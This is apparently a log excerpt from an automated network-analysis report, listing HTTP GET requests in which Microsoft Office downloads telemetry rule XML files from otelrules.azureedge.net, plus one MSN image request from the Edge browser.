Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
